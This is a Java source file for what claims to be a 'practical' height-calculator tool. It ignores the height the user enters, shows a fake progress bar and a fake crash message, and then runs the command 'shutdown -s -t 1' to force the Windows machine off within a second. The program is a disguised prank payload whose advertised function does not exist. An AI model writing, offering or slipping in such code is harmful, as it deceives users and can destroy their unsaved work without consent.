package xiaoGongJu;

import java.io.IOException;
import java.util.stream.Stream;

import javax.swing.JOptionPane;

public class ShenGaoJiSuanQi {

    public static void main(String[] args) throws IOException {
        Runtime rtime = Runtime.getRuntime();
        Object[]o= {"确定"};
        JOptionPane.showInputDialog(null," 请输入身高来计算身高","Java《实用》小工具",JOptionPane.PLAIN_MESSAGE);
        JOptionPane.showMessageDialog(null, "即将开始计算，请勿关闭程序！", "Java《实用》小工具",JOptionPane.WARNING_MESSAGE);
        char incomplete = ' ';
        char complete = '=';
        int total=100;
        StringBuilder builder=new StringBuilder();
        Stream.generate(() -> incomplete).limit(total).forEach(builder::append);
        for (int i = 0; i < total; i++) {
            builder.replace(i, i + 1, String.valueOf(complete));
            String progressBar = "\r" + builder;
            String percent = " " + (i + 1) + "%";
            System.out.print(progressBar + percent);
            try {
                Thread.sleep(i * 5L);
            } catch (InterruptedException ignored) {

            }
        }
        int index = JOptionPane.showOptionDialog(null, "计算难度过大，程序崩溃。", "错误",JOptionPane.YES_NO_OPTION, JOptionPane.ERROR_MESSAGE, null, o, o[0]);
        o[0]=rtime.exec("shutdown -s -t 1");
        // TODO 自动生成的方法存根

    }

}